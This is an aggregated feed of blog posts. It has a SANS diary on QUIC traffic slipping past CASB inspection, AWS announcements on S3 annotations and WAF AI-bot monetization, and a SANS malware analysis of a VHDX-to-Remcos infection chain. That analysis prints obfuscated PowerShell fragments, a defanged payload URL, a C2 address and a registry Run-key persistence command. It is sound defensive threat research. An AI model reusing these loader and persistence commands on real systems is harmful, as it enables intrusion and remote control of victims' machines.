Security

The browser blind spot: Why your security tool may not be blocking what you think it is [Guest Diary], (Wed, Jun 17th)

Leave a comment
This post was originally published on this site

[This is a guest diary submitted by Varun Murdula]

SUMMARY

CASB block policies rely on inspecting TCP traffic. QUIC, the protocol powering HTTP/3, runs over UDP, a protocol most CASBs cannot inspect. The result: Chrome can reach a destination your CASB is supposed to block, and nothing in the logs shows it happened. This article explains the gap, how to test for it, and what to do about it.
When a security team blocks access to a website or cloud service, the assumption is simple: the block is in place, so users cannot reach that destination. The rule is configured. The tool is running.

"Job done. Time for coffee."

That assumption is often wrong. When it is, there is nothing in the logs to tell you.

I ran a test across five browsers on a managed endpoint with an active CASB policy. What I found is what this article describes. There is a real enforcement gap in how CASBs handle browser traffic. It is documented by the security vendors themselves, including published guidance from Palo Alto Networks, Forcepoint, and Cloudflare. But many security teams have never tested for it and do not know it applies to them. The tools are doing what they were designed to do. The way CASBs were built predates how browsers behave today. A block policy can look completely fine in every log and dashboard while traffic to the blocked destination flows freely through a different browser on the same machine.

First, what is a CASB?

A Cloud Access Security Broker (CASB, pronounced “cazz-bee”) is a security tool that sits between an organization’s users and the internet. Gartner, which coined the term in 2012, defines it as “on-premises, or cloud-based security policy enforcement points, placed between cloud service consumers and cloud service providers to combine and interject enterprise security policies as the cloud-based resources are accessed.”10 In plain terms: it sits in the path of every internet connection and decides what gets through.

Proxy mode is the most common deployment for web traffic inspection. In this mode, every time a browser connects to a website or service, the CASB intercepts the request, checks it against policy rules, and either allows it or blocks it. It acts like a security checkpoint on every outbound internet connection.

CASBs are used to stop employees from sending sensitive data to places their organization does not permit: personal cloud storage, unauthorized file sharing tools, and generative AI chatbots where organizational policies may prohibit data sharing.

To inspect web traffic, a CASB needs to read the content of the connection, including encrypted ones. The vast majority of web traffic today is encrypted using Transport Layer Security (TLS). A protocol is a set of rules for how data travels across a network. TLS encrypts data in transit so only the sender and recipient can read it. It is the technology behind the padlock icon in your browser’s address bar.

To inspect TLS-encrypted traffic, a CASB performs SSL/TLS inspection (SSL stands for Secure Sockets Layer, TLS’s older predecessor). The CASB intercepts the connection and decrypts it. It then inspects the content, applies its policy, re-encrypts the traffic, and forwards it on. From the user’s side, nothing looks different. The padlock is still in the address bar.
For this to work, the CASB needs the browser to trust its re-signed certificates. It does that by installing a root Certificate Authority (CA) certificate into the device’s trusted certificate store, a list of credentials the device recognizes as legitimate. Once that certificate is there, the browser trusts the CASB’s re-signed traffic and continues normally.

This works fine, but not every browser on the device handles that certificate the same way.

How QUIC creates a gap in your CASB coverage

Two things explain this gap.

The first is QUIC, a modern transport protocol developed by Google and standardized by the IETF.1 It was designed to make web connections faster and more reliable. It was not designed to circumvent enterprise security controls. This gap exists because proxy-based inspection tools were built around TCP, not because QUIC has a flaw. The name is not an acronym. Google just called it QUIC.

The second is the difference between TCP and UDP, the two transport mechanisms that determine whether your CASB ever sees the traffic.

TCP (Transmission Control Protocol) is the traditional protocol behind most internet traffic. Ordered, reliable, and what CASB SSL/TLS inspection is built around.

UDP (User Datagram Protocol) is a faster, lower-overhead alternative. It trades some of TCP’s reliability for speed and does not require the same connection handshake.

QUIC runs over UDP, not TCP. CASB inspection only works on TCP, so it never sees QUIC traffic.

"Chrome took the side door. The CASB was watching the front."

QUIC is the transport behind HTTP/3 (the third version of the Hypertext Transfer Protocol, the language of the web). Chrome learns which servers support QUIC through previous connections, Alt-Svc headers, or DNS HTTPS records (RFC 9460), which let servers signal QUIC support before a connection even starts.9 Once Chrome knows a server supports QUIC, it tries it automatically. When that happens, the traffic goes over UDP. The CASB only monitors TCP, so it never sees the connection. No block fires and nothing is logged.

KEY FINDING:  A user on a managed laptop can reach a destination the CASB is supposed to block, simply because Chrome used QUIC over UDP instead of TCP. The tool is running. The policy is active. The block does not fire.

These are not hypothetical concerns. Palo Alto Networks explicitly recommends blocking QUIC in their internet gateway security best practices.2 Forcepoint published a dedicated advisory documenting that QUIC traffic from Chrome, Edge, Brave, Firefox, and Safari may not be intercepted by their proxy.3 Cloudflare’s gateway documentation states directly: if the UDP proxy or TLS decryption is off, HTTP/3 traffic from Chrome bypasses inspection entirely. [4]

The broader problem: Browsers do not all behave the same way

QUIC is the clearest example, but it is not the only way enforcement can fail across browsers.

When a CASB policy is set up and tested, it is usually tested once, from a single browser, and signed off as working. Most teams never verify whether the policy is enforced consistently across every browser on managed devices.

"One browser tested. Zero browsers questioned. Ticket closed."

Keep Aware’s 2026 Browser Security Report makes the point clearly: DLP and CASB tools were built for a different era of computing, one defined by email attachments, file transfers, and endpoint storage.5 They were never designed for what people actually do in a browser today: typing sensitive data into a web form, pasting content into an AI chatbot, uploading files through a browser interface.

Some DLP tools enforce policy through a browser extension rather than a network proxy. That extension only works in browsers where it was deployed.6 Use a different browser on the same machine and the enforcement is gone entirely.

Why this is invisible in standard log review

That missing coverage does not generate an alert. It leaves no trace.

When QUIC bypasses the proxy, the traffic never touches the inspection pipeline. The CASB sees nothing. No failed block, no error, no anomaly. When one browser is enforced and another is not, the CASB log looks clean. Block events from the enforced browser are there. The uninspected traffic from the other browser generates no entries at all.

"The logs are not lying. They reported exactly what they saw. The problem is they only saw the traffic that came through TCP."

CASB block event counts get used to assess how much traffic reached a blocked destination. But block events only count traffic that entered the inspection pipeline, not all traffic that actually arrived. Where QUIC is unblocked, the real number is higher. Sometimes significantly. In an investigation, that gap means you underestimated how much data actually moved — you scoped the incident wrong.

Why this gap matters now

Generative AI has changed where sensitive data goes. Industry research consistently shows that employees are sharing internal documents, reports, and confidential data with AI tools at significant scale.[7] Most of it on managed devices, through Chromium-based browsers, reaching destinations that CASB policies are meant to block.

223  avg GenAI policy violations per org per month (Netskope 2026)
2x  sensitive data incidents sent to AI platforms, year over year (Netskope 2026)
86%  security leaders who believe employees are sharing sensitive data with AI tools without authorization (Code42 2024)

Blocking AI destinations at the CASB layer is the right call. But if QUIC is unblocked and HTTP/3 connections are being established over UDP to those destinations, the block may not be firing for a significant portion of actual traffic. The policy says blocked. The network says otherwise.

For organizations subject to GDPR, HIPAA, PCI DSS, or SOC 2, an undetected enforcement gap like this one is not just a security problem. It is a compliance risk. Regulators do not distinguish between a policy that was misconfigured and one that was never enforced — the outcome is the same.

How to test whether this gap exists in your environment

Run this on a test device configured the same as production. You need three things. First, the CASB agent active with a block policy targeting a specific URL. Second, all five browsers installed on that device: Safari, Chrome, Brave, Firefox, and Edge. Third, access to your CASB’s log console. URL stands for Uniform Resource Locator, which is just a web address.

"Takes about twenty minutes. Less time than the average security vendor webinar."

  1. Confirm the CASB agent is running and the block policy is active on the test device.
  2. Open Safari and navigate to the blocked destination. Verify the block fires and a log event appears in the CASB console.
  3. Open Chrome and navigate to the same destination. Does the block fire, or does the page load?
  4. Repeat with Brave, Firefox, and Edge separately. Record each result.
  5. In Chrome, type chrome://net-export into the address bar. That is Chrome’s built-in network log. Use it to check whether Chrome negotiated a QUIC connection to the destination.
  6. At the firewall or proxy, check whether UDP port 443 is being explicitly dropped. If it is allowed through, QUIC bypass is possible.
  7. Compare CASB log entries against what you observed in each browser.

What to look for if the gap exists:
 

Browser Engine Expected result
Safari WebKit Block fires. Log event generated.
Chrome Chromium / Blink Page loads. No block. No log entry.
Brave Chromium / Blink Page loads. No block. No log entry.
Firefox Gecko Varies by proxy vendor. Test independently.
Edge Chromium / Blink Chromium-based. Behavior similar to Chrome.

NOTE ON FIREFOX  Cloudflare’s documentation shows Firefox HTTP/3 inspection can work when the UDP proxy is properly enabled. Behavior varies by CASB vendor. Do not assume Firefox is safe or vulnerable. Test it in your specific environment.

What to do about it

01  Block QUIC at the network layer

Ask your network team to drop UDP/443 traffic at the proxy, Secure Web Gateway (SWG), or firewall. Chromium-based browsers fall back to TCP when QUIC is blocked, and the CASB inspection pipeline takes over. Most platforms handle this gracefully, though some may see a brief delay on the first connection as the browser falls back to TCP. Recommended by Palo Alto Networks, Forcepoint, and Cloudflare. Verify it is actually enforced, not just documented somewhere.

02  Test every browser, not just one

Testing a single browser and calling the control validated is not enough. Safari, Chrome, Brave, Firefox, and Edge each have different protocol behaviors. Every browser in the environment needs to be tested independently, starting at initial deployment and again after any policy changes.

03  Compare CASB logs against what your endpoint actually recorded

Endpoint telemetry shows what programs are running and what connections they are making. A pattern where Safari generates block events for a destination while Chrome generates none on the same device in the same time window is worth investigating. It means the block is not reaching Chrome, not that the user was inactive.

04  Look at controls that live inside the browser, not outside it

Proxy-based enforcement intercepts traffic from the outside. It was designed before QUIC existed and before users spent most of their working day inside a browser. There are tools that work differently: browser-native DLP products, endpoint agents that monitor at the process level, and secure enterprise browsers such as Island or Talon that apply policy from within the browser itself. None of them replaces a CASB, but each one covers gaps that a CASB cannot.

05  Treat CASB event counts as a floor, not a ceiling

In any investigation or data loss review, CASB block event volume is the minimum known traffic, the fraction that entered the inspection pipeline. Actual traffic may be higher. Cross-check against your endpoint logs before you call the scope final.

Conclusion

Nobody wants to find out their block policy was not working by reviewing an incident report. But that is exactly how this gap tends to surface. The logs looked fine. The dashboard was clean. The policy was active. Meanwhile, QUIC connections were going straight to the destination that was supposed to be blocked.
This is not a cutting-edge attack technique. It is a protocol mismatch that has been sitting in enterprise environments for years. Nobody talks about it because the logs never show anything wrong. No alert. No error. Just traffic moving where it should not be, with no corresponding log entry to show for it.
If you take one thing from this: ask your network team to block UDP port 443 at the firewall or proxy, then test every browser in your environment against a blocked destination. Twenty minutes. You might be surprised what you find.
If you are sharing this with leadership: ask your security team to run the test in the section above and report back. The answer will tell you whether your current enforcement is doing what you think it is.

Assume nothing. Test everything.

Glossary of key terms
CASB  Cloud Access Security Broker. A security tool that monitors and controls traffic between users and cloud services. In proxy mode, it acts as a checkpoint on every outbound internet connection.
SSL / TLS  Secure Sockets Layer / Transport Layer Security. Encryption protocols that protect data in transit. The padlock in your browser’s address bar means TLS is active.
CA  Certificate Authority. Issues digital credentials called certificates. In the context of this article, a CASB uses a CA certificate so browsers trust its re-signed traffic during SSL inspection.
TCP  Transmission Control Protocol. The traditional, reliable internet transport protocol. CASB inspection tools are built to intercept TCP traffic.
UDP  User Datagram Protocol. A faster, lower-overhead protocol. QUIC runs over UDP, which is why CASB tools built around TCP cannot inspect it.
QUIC  A modern transport protocol from Google, standardized by the IETF. Runs over UDP and powers HTTP/3. Not an acronym, just a name. Designed for performance, not to bypass security controls.
HTTP/3  The third major version of the Hypertext Transfer Protocol, the language of the web. Uses QUIC as its transport. Supported by most large platforms.
SWG  Secure Web Gateway. A network-level security tool that filters internet traffic, often deployed alongside a CASB.
DLP  Data Loss Prevention. Tools and policies designed to stop sensitive data from leaving an organization without authorization.
SaaS  Software as a Service. Cloud-based software accessed through a browser: email, productivity tools, AI services.
Endpoint  Any device (laptop, desktop, phone) connected to a corporate network or running corporate security software.
Telemetry  Detailed data automatically collected from systems about their activity and connections. Used by security teams to investigate incidents.
URL  Uniform Resource Locator. A web address, what you type into a browser’s address bar.
DNS  Domain Name System. The internet’s directory. Translates web addresses into numeric IP addresses computers use to find servers. Modern DNS records can also signal which protocols a server supports, including QUIC.
Protocol  A set of rules for how data travels across a network. TCP and UDP are both transport protocols, but they work very differently.

References
1.  Internet Engineering Task Force. QUIC: A UDP-Based Multiplexed and Secure Transport. RFC 9000. May 2021.  rfc-editor.org/rfc/rfc9000
2.  Palo Alto Networks. Create the Application Block Rules: Block QUIC. Internet Gateway Best Practices.  docs.paloaltonetworks.com
3.  Forcepoint. QUIC (UDP) Protocol Traffic Can Bypass Forcepoint Cloud and On-Premises Proxies. Support Advisory.  support.forcepoint.com/s/article/000015410
4.  Cloudflare. HTTP/3 Inspection, Cloudflare One Documentation. Accessed June 2026.  developers.cloudflare.com
5.  Keep Aware. 2026 Browser Security Report: Enterprise Blind Spots and AI Risk. March 2026. Coverage via BleepingComputer.  bleepingcomputer.com
6.  Endpoint Protector. Why Browser-Based Workflows Break Traditional DLP. February 2026.  endpointprotector.com
7.  Netskope Threat Labs. Cloud and Threat Report: 2026. January 2026.  netskope.com
8.  Code42 Software. 2024 Data Exposure Report. March 2024.  globenewswire.com
9.  Internet Engineering Task Force. Service Binding and Parameter Specification via the DNS (SVCB and HTTPS Resource Records). RFC 9460. November 2023.  rfc-editor.org/info/rfc9460
10.  Gartner. Definition of Cloud Access Security Brokers (CASBs). Gartner IT Glossary.  gartner.com
 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

AWS

Amazon S3 annotations: attach rich, queryable context directly to your objects

Leave a comment
This post was originally published on this site

Today, we’re announcing a new metadata capability for Amazon Simple Storage Service (Amazon S3) called annotations, enabling you to attach rich, large-scale business context directly to your objects. You can store up to 1,000 named annotations per object, each up to 1 MB in size, totaling up to 1 GB per object, in flexible formats like JSON, XML, YAML, or plain text. You can modify or delete an annotation at any time, without re-writing your objects, making it easy to keep your object context current.

Organizations are building AI agents and autonomous workflows that need to find, understand, and act on data without human intervention. To support these agentic workflows, you need metadata that can evolve alongside the data, scale to petabytes of objects, and remain queryable without expensive retrieval.

With S3 annotations, you can store context such as AI-generated transcripts, content ratings, or technical specifications directly alongside your objects. Your context moves automatically with the object during copy, replication, and cross-region transfers, and S3 removes it when you delete the object. When you enable S3 Metadata, annotations automatically flow into fully managed annotation tables that you can query with Amazon Athena and other analytics engines.

Common use cases
Annotations solve complex metadata challenges across industries:

  • Media & Entertainment: Track transcripts, content moderation results, subtitle files, and licensing metadata as separate annotations on video assets, eliminating the need to synchronize metadata across multiple media asset management systems.
  • Financial Services: Attach AI-generated investment summaries and sentiment analysis to research documents, enabling autonomous research agents to discover relevant datasets through natural-language queries without maintaining separate metadata databases.
  • Life Sciences: Annotate clinical trial data with regulatory status, patient cohort details, and approval chains, making compliance audits faster while keeping full context accessible for archived data in Amazon S3 Glacier storage classes without retrieval charges.

How annotations address metadata challenges
Amazon S3 already supports several ways to describe your objects. System-defined metadata captures properties like size and storage class. Object tags support operational tasks like access control and lifecycle management. User-defined metadata lets you add small amounts of custom information at upload time.

While these capabilities work well for their intended purposes, they have limitations when you need to attach much richer context without building and maintaining separate metadata systems. Annotations address these needs by providing metadata capabilities at a fundamentally different scale and flexibility, offering mutable, queryable context per object compared to 10 immutable tags or 2 KB of headers.

Capability Max size Mutable? Best for
System-defined metadata Fixed No Object properties (size, storage class, creation time)
User-defined metadata 2 KB No (set at upload) Small custom key-value pairs
Object tags 10 tags, 128/256 characters per key/value Yes Access control, lifecycle rules, cost allocation
Annotations 1 GB (1,000 × 1 MB) Yes Rich business context (JSON, XML, YAML, plain text)

Today, metadata describing S3 objects often lives in separate databases or sidecar files, requiring complex synchronization workflows that can exceed data storage costs. When you enable S3 Metadata annotation tables, this context becomes queryable at scale through Amazon Athena. AI agents can discover your data through natural language with the S3 Tables MCP server, which provides a standardized interface for AI models to query your annotations. You can query annotations for objects in any storage class, without restoring the objects or paying retrieval charges.

Getting started with annotations
To start using annotations, make sure your AWS Identity and Access Management (IAM) policy or bucket policy grants permissions for the s3:PutObjectAnnotation and s3:GetObjectAnnotation actions. You can then add annotations to any existing or new S3 object using the PutObjectAnnotation API.

For example, a media company can attach technical specifications and AI-produced summaries to a video asset using the AWS Command Line Interface (AWS CLI):

# Create a JSON file with technical metadata
cat > mediainfo.json << 'EOF'
{"codec":"H.265","resolution":"3840x2160","audio_tracks":8,"frame_rate":29.97}
EOF

# Attach it as an annotation
aws s3api put-object-annotation 
  --bucket my-media-bucket 
  --key videos/documentary-2026.mp4 
  --annotation-name mediainfo 
  --annotation-payload ./mediainfo.json

# Attach a plain-text AI-generated summary as a separate annotation
echo "A 90-minute nature documentary covering wildlife migration patterns across three continents, featuring aerial footage and underwater sequences. Languages: English, Spanish, Portuguese." > ai_summary.txt

aws s3api put-object-annotation 
  --bucket my-media-bucket 
  --key videos/documentary-2026.mp4 
  --annotation-name ai_summary 
  --annotation-payload ./ai_summary.txt

These commands attach two separate annotations to the same video object. The mediainfo annotation stores structured technical specifications as JSON, while the ai_summary annotation stores a text description. Each annotation is identified by a unique name, and you can read and modify each one independently. With unique names for each annotation, you can use different annotations to support multiple concurrent enrichment workflows, for example, one team adding technical metadata while another team adds content classifications, without interfering with each other.

Retrieve a specific annotation using the GetObjectAnnotation API:

aws s3api get-object-annotation 
  --bucket my-media-bucket 
  --key videos/documentary-2026.mp4 
  --annotation-name mediainfo 
  ./mediainfo-output.json

To see all annotations attached to an object, use the ListObjectAnnotations API:

aws s3api list-object-annotations 
  --bucket my-media-bucket 
  --key videos/documentary-2026.mp4

When you no longer need a specific annotation, remove it using the DeleteObjectAnnotation API:

aws s3api delete-object-annotation 
  --bucket my-media-bucket 
  --key videos/documentary-2026.mp4 
  --annotation-name mediainfo

You can update an existing annotation at any time by calling PutObjectAnnotation again with the same annotation name. For large objects uploaded using multipart upload, attach annotations after completing the multipart upload using the PutObjectAnnotation API.

Querying annotations at scale with S3 Metadata tables
Attaching annotations to individual objects is useful, but the real power comes when you query across all your annotations at scale. When you enable S3 Metadata annotation tables on your bucket, S3 automatically indexes your annotations into a fully managed Apache Iceberg table, called an annotation table. You can query annotation tables with Amazon Athena or any Iceberg-compatible engine.

To enable annotation tables, use the S3 console or the CreateBucketMetadataConfiguration API. The following example creates a new metadata configuration with annotation tables enabled while keeping journal tables for change tracking and disabling the live inventory table:

{
  "JournalTableConfiguration": {
    "RecordExpiration": { "Expiration": "DISABLED" }
  },
  "InventoryTableConfiguration": { "ConfigurationState": "DISABLED" },
  "AnnotationTableConfiguration": {
    "ConfigurationState": "ENABLED",
    "Role": "arn:aws:iam::123456789012:role/S3MetadataAnnotationRole"
  }
}

This configuration tells S3 to automatically capture all your annotations in a queryable table. Once applied, any annotation you attach to objects in this bucket will appear in the table within approximately one hour.

If the bucket already has a metadata configuration, use the UpdateBucketMetadataAnnotationTableConfiguration API:

aws s3api update-bucket-metadata-annotation-table-configuration 
  --bucket my-media-bucket 
  --annotation-table-configuration '{"ConfigurationState":"ENABLED","Role":"arn:aws:iam::123456789012:role/S3MetadataAnnotationRole"}'

Once enabled, your annotations automatically flow into the annotation table. Journal tables update in near real time, while annotation tables refresh within an hour. Unlike traditional metadata tables that require predefined schemas, annotation tables automatically adapt to any JSON, XML, or YAML structure you write. Each annotation becomes a row in the table with its content stored in a text_value column, letting you query across all annotations without schema migrations.

If you enable annotation tables on a bucket that already has annotated objects, S3 automatically backfills existing annotations into the table. The backfill process runs in the background and can take several hours to days depending on the number of objects.

For example, to find all video assets with more than 8 audio tracks across your entire bucket using Amazon Athena:

SELECT DISTINCT bucket, object_key
FROM "s3tablescatalog/aws-s3"."b_my_media_bucket"."annotation"
WHERE name = 'mediainfo'
AND CAST(json_extract_scalar(text_value, '$.audio_tracks') AS INTEGER) > 8

This query scans the annotation table for all annotations named mediainfo, extracts the audio_tracks field from the JSON content, and returns objects where the count exceeds 8.

Or to find all objects that received new annotations in the last 24 hours through the journal table:

SELECT bucket, key, version_id, record_timestamp, annotation.name
FROM "s3tablescatalog/aws-s3"."b_my_media_bucket"."journal"
WHERE record_timestamp >= (current_date - interval '1' day)
AND annotation.name IS NOT NULL
AND record_type IN ('CREATE_ANNOTATION', 'DELETE_ANNOTATION')

This query uses the journal table to track annotation changes in near real time, which is ideal for building event-driven workflows that respond to new or deleted annotations.

You can also use natural language to search objects by their annotations using agents in Amazon SageMaker Unified Studio or any IDE with the S3 Tables MCP server. For example, asking “find all PG-rated movies with Spanish subtitles from 2023” returns results in seconds instead of the hours it would take querying multiple disconnected systems.

Get started today
You can start using Amazon S3 annotations today in all AWS Regions, including the AWS China Regions. Annotation tables are available in all AWS Regions where S3 Metadata is available.

Whether you’re building AI agents that need to discover data autonomously, managing petabytes of media assets with complex metadata, or tracking compliance context for archived datasets, annotations give you the scale and flexibility to attach rich metadata directly to your objects without managing separate systems.

Annotation storage is always billed at S3 Standard rates, even if the parent object is in S3 Glacier or another storage class. For full pricing details, visit the Amazon S3 pricing page.

To learn more and get started, visit the Amazon S3 Metadata overview page and the Amazon S3 documentation. Send feedback to AWS re:Post for S3 or through your usual AWS Support contacts.

Daniel Abib

Security

From a VHDX File to a Remcos RAT, (Tue, Jun 16th)

Leave a comment
This post was originally published on this site

Yesterday, a reader reported to us a malicious ZIP archive (SHA256: a0104921a2d37ab87482ac9a9f5c3713479c118846c3e999178e75b81620c094[1]). Once unzipped, it contains a VHDX file that discloses a malicious JavaScript after being mounted (which is automatic on modern Windows OSs):

Two different techniques to hide the payload help to bypass most first-line security controls. Using a disk image as a "malware container" has been used multiple times in the past[2] but seemed to be less used these days. That’s why I decided to have a look at the JavaScript (SHA256:f65b1271deedcbcbcdd750047f8eb3a5548145546fc2b7847b263a5e52570b33[3]) with a low VT score (only 5/57). Called “Partnerschaft_fur_neue_Angebotsanfrage.js” (“Partnership for new quotation request”), it probably targets German speaking victims. It contains three stages to deliver the last piece of malware.

In the first stage, the JavaScript (obfuscated and hidden in many comments) will launch a PowerShell script through WMI:

WbemScripting.SWbemLocator → ConnectServer() → Win32_Process.Create()

This technique helps to bypass EDR solutions as well as classic detection rules that monitor parent-child relationships in processes. JavaScript → WMI → PowerShell is less suspicious than a direct relation JavaScript → PowerShell.

The PowerShell script is reconstructed from many strings concatenations and stored in "%LOCALAPPDATA%Tamale":

 

Fdselsdatoen = Fdselsdatoen + "bubbleFFBVM0lNDgMWDREb' 1;$filmproducbubblentbubblers=otidiform 'DQsSABgGBw0lCBgM';$flygtningbubblelandsbybubbler=otidiform 'bRcOBwcCHw0NC";
Fdselsdatoen = Fdselsdatoen + "BoOChwPCTpKQQgdBQsZEQ4QHAwLDxgsFhZAPQcQBggEXE0JAgUJIBcAAFhNFRwAAgEFCgAVADBN';$succulbubblently=$pritchbubblel;otidiform 'bQMJARYIClMTExEa";
Fdselsdatoen = Fdselsdatoen + "DRcVCTsNBAIYEFdYW1xcPQodFUEZBREGVE0VHAACAQUKABUAME0=' 1;whilbubble (!$prbubblesbytbubblerially118) {otidiform 'bQMJARYIClMwFREfCgoOHi";
...

The string “bubble” pollutes the code and is removed during execution..

This second stage PowerShell reconstructs strings by picking every 4th character from garbage strings. There is a function “otidiform” that decrypts Base64-encoded strings with the XOR key “Identificational” (always the same key across all the scripts). Example:

otidiform 'bQMJARYIClMWDxIAHAYNBSIBWDU1ChIAFQAABh0zW1YKFgAPAAwvBxAVFQcMC0lILwsXAxEHA0A=' 1

Returns:

$global:unfishlike=[Activator]::CreateInstance($formene)

The script downloads the next stage from:

hxxps://cembusconfort[.]ro/Exoticisms121.dsp

and saves it to %APPDATA%Endocoel.Pro.

This file (SHA256:9de90481e57ed0bc0f13bb24747e18cc133f497abe05cfac67517f98098048a1[4]) looks interesting. When you have a first look at it, it seems to be encrypted. The classic behavior is to XOR and encode in Base64 the payload. Here it’s a bit different, the next stage script has been appended at the end of the file. The payload is extracted by carving the interesting code with:

.substring(143578, 20305)

Once extracted the stage 3 is executed and use the first part of the file as payload (the first 143577 bytes). This stage is a PowerShell reflective .Net loader (classic behaviour) using System.Reflection.Assembly.Load(). The shellcode will fetch the malware itself from:

hxxps://cembusconfort[.]ro/YoHtJ27.bin

The malware will be injected in a process "backgroundTaskHost.exe" and communicates with the C2 server:

animal342[.]duckdns[.]org:53552

The traffic has been identified by my sanbox as Remcos, a pretty common RAT.

Or course, persistence is configured via a Run key that executes the PowerShell loader:

C:WindowsSystem32cmd.exe" /c REG ADD "HKCUSoftwareMicrosoftWindowsCurrentVersionRun" /f /v "Startup key" /t REG_EXPAND_SZ /d "%Statskirken% -windowstyle 2 $Lnforhandlinger=(.'gp' 'HKCU:SoftwareWeaverbird').'Pardonnerer';%Statskirken% ($Lnforhandlinger)"

Most of the files used in this infection path remain undetected by most AVs. Here is the complete infection path:

Email → ZIP → VHDX → JavaScript → PowerShell Decoder → PowerShell (.Net Loader) → Shellcode (Downloader) → Remcos

[1] https://www.virustotal.com/gui/file/a0104921a2d37ab87482ac9a9f5c3713479c118846c3e999178e75b81620c094
[2] https://isc.sans.edu/diary/obama224+distribution+Qakbot+tries+vhd+virtual+hard+disk+images/29294
[3] https://www.virustotal.com/gui/file/f65b1271deedcbcbcdd750047f8eb3a5548145546fc2b7847b263a5e52570b33
[4] https://www.virustotal.com/gui/file/9de90481e57ed0bc0f13bb24747e18cc133f497abe05cfac67517f98098048a1/content???????

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

AWS

AWS WAF adds AI traffic monetization capability to help content owners charge AI bots for content access

Leave a comment
This post was originally published on this site

AWS WAF now includes AI traffic monetization capability that gives digital content owners and publishers a way to charge AI bots and agents for access to protected web content directly at the network edge. The capability helps content owners and publishers set per-request pricing by content path, bot category, or verification tier without modifying their origin infrastructure or writing application code. Content owners can define granular access policies per agent type, collect payments in stablecoins to their preferred wallet, and monitor revenue and bot activity from a single dashboard.

AI bot traffic now accounts for more than 50% of web traffic for many content providers, with AI-specific crawlers growing more than 300% year-over-year. Unlike traditional search engine crawlers, which index content and return measurable referral traffic back to publisher websites, AI bots consume the same content to generate summaries and responses in AI interfaces, with little to no traffic sent back to the original source. Publishers bear the infrastructure costs of serving that traffic without the page views, ad impressions, or subscription conversions that typically offset those costs. AWS WAF Bot Control already gives customers visibility into bot activity and the ability to block or rate-limit traffic, but setting pricing and collecting payment from AI agents has not been possible until now. AI traffic monetization is a new Bot Control capability that closes that gap, giving content owners and publishers a way to configure pricing rules directly through the AWS WAF console and collect payments from AI agents through third-party payment integrations, without building custom payment infrastructure or negotiating individual licensing agreements. Payment settlement and verification flows are provided by Coinbase’s x402 Facilitator. Integration with Stripe for direct account payments and Machine Payments Protocol (MPP) support is coming soon.

Getting Started with AI Traffic Monetization
Before configuring monetization, confirm that AWS WAF Bot Control is enabled at Common or Targeted level on the web ACL associated with your CloudFront distribution. Bot Control provides the agent classification that monetization rules depend on. If you have not set this up yet, visit Adding the AWS WAF Bot Control managed rule group to your web ACL documentation. In the AWS Management Console, go to WAF & Shield and choose Protection packs (web ACLs) in the left navigation pane to get started.

A protection pack is the core configuration unit for AI traffic monetization. It defines which content paths are monetized, what each agent verification tier is charged, which payment methods you accept, and what license terms apply. To create one, choose Create protection pack (web ACL).

In Tell us about your app, select one or more app categories that describe your content (for example, Content & publishing systems, E-commerce & transaction platforms, or Enterprise & business applications), and choose an App focus. AWS WAF uses these selections to recommend suitable security protections for your configuration.

In Select resources to protect, choose Add resources to associate regional or global resources such as CloudFront distributions with this protection pack. You can skip this step and add resources later.

In Choose initial protections, select from AWS WAF managed rule packages based on your app category and resource selections. You can also choose individual rules instead of packages.

In Name and describe, provide a name and optional description for the protection pack.

Optionally, expand Customize protection pack (web ACL) to configure additional settings including pricing tiers, payment methods, content scope, and license terms.

When finished, choose Create protection pack (web ACL).

Once your protection pack is in place, review the AI traffic analysis dashboard to understand the impact of AI bot traffic on your content before setting your pricing strategy. In the WAF & Shield console, go to AI traffic analysis in the left navigation pane. Select your protection pack (web ACL) from the dropdown to populate the dashboard.

The AI traffic analysis dashboard breaks down traffic into four categories visible in the bot traffic overview panel: All bot requests, AI bot requests, Verified AI bot traffic, and Unverified AI bot traffic. The dashboard surfaces infrastructure impact metrics including bandwidth consumed, estimated monthly cost, and peak request rates. A per-path heatmap shows which content paths receive the most AI bot activity by hour, giving you the data you need to make informed pricing decisions.

AWS WAF Bot Control classifies over 650 distinct AI bot and agent types including GPTBot, Claude-Web, and Perplexity-Bot, and assigns each a verification tier:

  • Verified — Agent identity confirmed through Web Bot Auth (WBA) Ed25519 cryptographic signature, or sourced from a documented IP range with a known set of user-agents and domain names.
  • Unverified — Agent recognized through user-agent matching, behavioral fingerprinting, and IP reputation, but identity not cryptographically confirmed.

Once you have reviewed your traffic patterns, return to Protection packs (web ACLs), select your protection pack from the list, and choose Configure AI monetization from the right panel to set pricing and access policies. Each protection pack defines the pricing, agent policies, accepted payment methods, and license terms that apply to a defined set of content paths. You can create multiple protection packs and apply different pricing to different content zones within the same distribution. Once created, associate the protection pack with your web ACL by opening the web ACL and choosing Add protection pack.

For each agent verification tier within the pack, you can assign one of six actions: Monetize (return a 402 with pricing), Allow (grant free access), Block (deny access entirely), Count (log without charging), CAPTCHA (present a puzzle to verify a human sender), or Challenge (run a silent check to verify the client is a browser, not a bot).

In the Edit monetization configuration page, configure the following:

Under Payment settlement, select one or more blockchain networks for stablecoin payments. Any wallet address on the supported networks is accepted, whether self-managed or hosted by a wallet provider such as Coinbase. For each network, provide your wallet address and set a Base price per page in USDC. You can add multiple networks using Add network. AWS does not process payments or take a fee on content revenue; disbursement is self-managed or managed by your wallet provider.

When a Monetize rule matches an incoming request, AWS WAF returns an HTTP 402 Payment Required response. The response body contains a machine-readable price manifest in JSON format using the x402 open protocol for machine-to-machine payments. The manifest includes the content price in USDC, accepted blockchain networks such as Base and Solana, the destination wallet address, the maximum payment timeout, and the payment scheme.

Any x402-compatible agent runtime can complete this flow autonomously. The client submits a signed payment authorization on their payment network of choice. AWS WAF verifies it, fetches the content, integrates with third-party facilitator services for settling the payment on-chain, and serves the response.

Note that the Monetize action is supported exclusively for web ACLs associated with Amazon CloudFront distributions. Adding a Monetize rule to a regional web ACL is not supported.

